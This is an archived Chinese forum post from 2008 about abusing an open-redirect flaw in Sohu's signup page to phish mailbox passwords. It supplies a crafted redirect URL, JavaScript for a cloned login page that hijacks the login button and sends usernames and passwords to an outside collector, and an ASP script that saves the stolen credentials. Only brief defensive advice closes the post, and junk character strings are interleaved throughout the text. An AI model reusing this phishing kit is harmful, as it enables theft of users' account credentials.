我爱电脑技术论坛's Archiver

msppt 发表于 2008-6-18 15:32

利用sohu网站URL跳转漏洞欺骗邮箱密码

url跳转漏洞遍布各大网站,简单看一下,THE9、sohu等居然都存在这个漏洞!我们就拿sohu为例,讲一下该漏洞。来到sohu的用户注册页面,可以看到,在IE地址栏里,默认写着[url]http://passport.sohu.com/web/signup.jsp?appid=1000&[/url] ru=http://login.mail.sohu.com/reg/signup_success.jsp。
uF-]AYQ T-w6W2O1X9IY/j5p!u
这串字符中的“signup_success.jsp”页面是做什么的呢?反正sohu免费注册,我们来试一下。原来注册成功后,跳转到了这个页面。如果这个地址是其他地方的呢?现在改掉地址栏地址,替换为IT168安全频道的首页:http: //passport.sohu.com/web/signup.jsp?appid=1000&ru=http://safe.it168.com/,然后开始注册。
1_@g,G:^'fy0G:^ &J-pCj{4T
最后居然跳到了IT168安全频道的首页了。)SR uyS EKGq

d,{.d8P%Mq%Kw sohu原本的注册流程是这样的:注册--处理注册信息--注册成功--跳转到成功页面--点页面链接自动登录--登录后跳转到mail.sohu.com。{;|+[4m9uv9X
而跳转后的页面我们可以控制,所以流程可以被我们改为:注册--处理注册信息--注册成功--跳转到伪造的登录页面--用户输入密码点登录--提交密码给我们--最后跳转到mail.sohu.com。
I_`1h h A 下面按照修改后的流程注册。
0iGn3Q5T{ZE*d&ML 首先准备好工具,一个伪造的sohu登录页面(欺骗用),一个ASP页面(接收发来的密码并保存)。打开mail.sohu.com,照原样复制一份HTML源代码,为了让用户更容易受骗,还要在登录口写上“请登录”字样(过程见下文)。Z`.vKA*Ps$EG

r}w*XU)T^T 因为sohu在登录的地方使用了自己的控件,看不到登录框的代码,操作登录的元素就比较麻烦了,还好微软提供了Ietoolbar这个IE的插件,可以看到sohu登录控件的名称,等登录控件加载完成,就可以对他进行操作了。
dLH%g f)v3i nF|$EOQoJ"Q|
从抓包的数据中可以看出这个控件使用了AJAX,不知道他在页面触发AJAX的函数是什么,可能是onclick()也可能是别的,在写代码的时候必须保证让sohu的登录代码在我们提交密码到自己的asp页面(用来保存密码的页面)之后执行。无论他的函数是什么,我们都可以拦截,使用JS函数劫持技术,其实就是面向对象语言中的“方法重写”技术。_Yy+c d~o_
:I'J`v*nId
a.html代码(伪造的登录页面):x!I)D o|a VJ
........................`?*^z3p.Z
</body>.n'oJX5]3WP
</html>(一直到页面结束的标签)nP0`@CF#Clqg8r
.....................上面是mail.sohu.com页面的代码,.................
0P&L#D.r;lI . 我们要加的代码从下面开始, 把“ajaxurltmp”的值改为asp文件的地址:q,g8[1\D0l
<script>hX~&@7mAj&ln&o
var ajaxurltmp = "http://safe.it168.com/a.asp";
8KS{:v&`9U3d\ //-------------以下为AJAX执行部分+U!C1}9n;B+v.TG
var xmlHttp;
Cu4yo4c\#kO function createXMLHttpsss(){$N7klPg{2h8};z s)yU
if(window.XMLHttpRequest){
+Kq ^WD!Ri#zX xmlHttp = new XMLHttpRequest();
@{._&DvY.j }
QY bFU|j else if(window.ActiveXObject){"Zm#]M4F$q
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
"j_6CB0MV#Cs }
yq8I5i qzU }$| G&o*vD V;|/HI LD
function startRequest(doUrl){R{&@.r#G*|#^
createXMLHttpsss(); \b:e)m+A]D
xmlHttp.onreadystatechange = handleStateChange;
}#l/OS'e N xmlHttp.open("GET", doUrl, true);-w9@2A ^,|Rw
xmlHttp.send(null);6`~.D[/sq4O$`&I5?
}
F9?9uz;f P3k6@-KH:W function handleStateChange(){,t.o1Ws|b-U+h#m_
if (xmlHttp.readyState == 4 ){Wm1|&wb7o3k~:I_Z
if (xmlHttp.status == 200 ){
3h5T/rohM //停一秒,为了让另一个AJAX(登录的那个)有时间执行。最后跳转。
f,k;Ai4u0| setTimeout("hrefgo()",1000);@ KY.^&h+q
}C*Y/G;rt9VG7bq
}W{VF,Q
}
(]NUu~:M![It4| function hrefgo()3ND,lU,Ak|
{
;s:Q*`oEx location.href = 'http://mail.sohu.com/';
c)\7a]\"?j }
|1Y$e/U#Xg4p5} //----------------------------以上为AJAX执行部分8o$O Rk8\0SFA
//在点登录的时候执行(]/i~%]%r"P e%i3V7p
var formrrr = document.getElementById('ppcontid'); 7\7uCd bmvI
var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1];
9i*S#DDxM6l lgin.onclick=function(){
W0cn:k'Q1C o alert('aaa');3tsxT%l}4E^
}a `J2iC+}"`3m
var lgonclick = lgin.onclick;
3[8Q3BH&` DD5^ lgin.onclick = function(){
br3i"FQA
"l+a`b}o var time = Math.random();GAoF2e p7qhWC/Y
var strPer = ajaxurltmp + '?BK7U [/c,SEP:^t wD
username='+document.getElementById('ppcontid').childNodes[0].childNodes[1].childNodes[1].value;5U'`?(d.W'h y
strPer +=
7HSoj B x '&password='+document.getElementById('ppcontid').childNodes[0].childNodes[2].childNodes[1].value+'&time='+time;v M%p4DBu)U bC
startRequest(strPer);4V M^b8],I{4G8~;py
lgonclick();
S;UG"YD ];M Q!q }p$}3c3M@/YD
document.getElementById('pperrmsg').innerHTML='注册成功!请登录!';
3XBF8~w$z6I //在点登录的时候执行
@? B~Ap^%M </script>Yp6S4PD'i t

+@ g {QVl,c SZ1u 相关重要代码解释(JS函数劫持部分): Db(BGr ]
var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1]; //这里获取”登录“这个按钮。hJ8IH9zR3V^+k
var lgonclick = lgin.onclick; //先把登录的方法赋给一个变量(这个变量其实是个方法)。
k/@/X&[]N2KM(T lgin.onclick = function ()
zHQb"gV nG0Z {
,Q8]k/Mh{ 。。。。。我的代码,用来调用AJAX给ASP文件发密码(在这里拦截)
+\,o4_*g(_a$k lgonclick(); //原来的代码
#JY0tZ K$Hx }
z0N7l!O:p0Z;[ 注意在HTML代码里把”safe.it168.com/a.asp“替换为你自己的ASP文件地址。4]tI-mkU!I
asp文件的代码:+f4Eq*Ig~
<% kj#OC{ br@-^
kxlzxfile=Server.MapPath("kxlzx.txt")
1U*MD7fX!n set fs=server.CreateObject("scripting.filesystemobject")
C2]^3A:C,s4G#O6Q set file=fs.OpenTextFile(kxlzxfile,8,True,0) 0U5_!q7D*}3Z%`w
file.WriteLine("用户名:"&Request.QueryString("username")& "")
t&edlG file.WriteLine("密码:"&Request.QueryString("password")& "") F0C1y:RM"K*j
file.close
8yi*F(D/w"IHls set fs = nothing kxEE[
%>
%`3MN$ZMD W +?;@J[g;T}At
很简单的代码,接收到密码后生成一个kxlzx.txt文件,保存密码。把伪造的登录页面a.html(地址为http: //safe.it168.com/a.htm)和保存密码的页面a.asp(地址为[url]http://safe.it168.com/a.asp[/url])上传至一个asp空间里。
-J9}7P%u-vva i+p7u0IC;w
现在执行以下我们的流程,首先,打开注册的地址“[url]http://passport.sohu.com/web/signup.jsp?appid=[/url] 1000&ru=http://safe.it168.com/a.html”,注册用户“kxlzxtest”,密码为“testtest”,然后提交。
)c(x0gHd'iJFW$Dy
%Ik.j#fK&} 注意看IE地址栏,已经来到了伪造的登录页面,输入密码登录。正常登录,进了邮箱里。
2gHu4@ x
%J0a(^QkED 现在查看kxlzx.txt,果然有被盗取的密码!整个伪造的过程就是这样,让用户在不知不觉中上当。
2O+PS:s,\!as
N [+Pt2L7ciN6V 做为普通上网用户,我们不要轻信任何人给出来的网页链接,即使是朋友(因为他也可能是受害者)。而做为程序员更应该注意,当你在设计程序时,尽量不要让用户参与控制流程,特别是敏感的地方。可以想象sohu的这段流程设计本意是为了和其它程序配合,让用户注册后直接跳转。但是由于没有检查来源,也没有检查 post给注册程序的链接是否是sohu自己的页面,最终导致了URL欺骗的形成。而这种漏洞在各大网站泛滥,例如九城的登录地址“https: //passport.the9.com/login.php?redurl=http://safe.it168.com”等,如果被人利用,最终会造成很严重的后果。

页: [1]
   

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.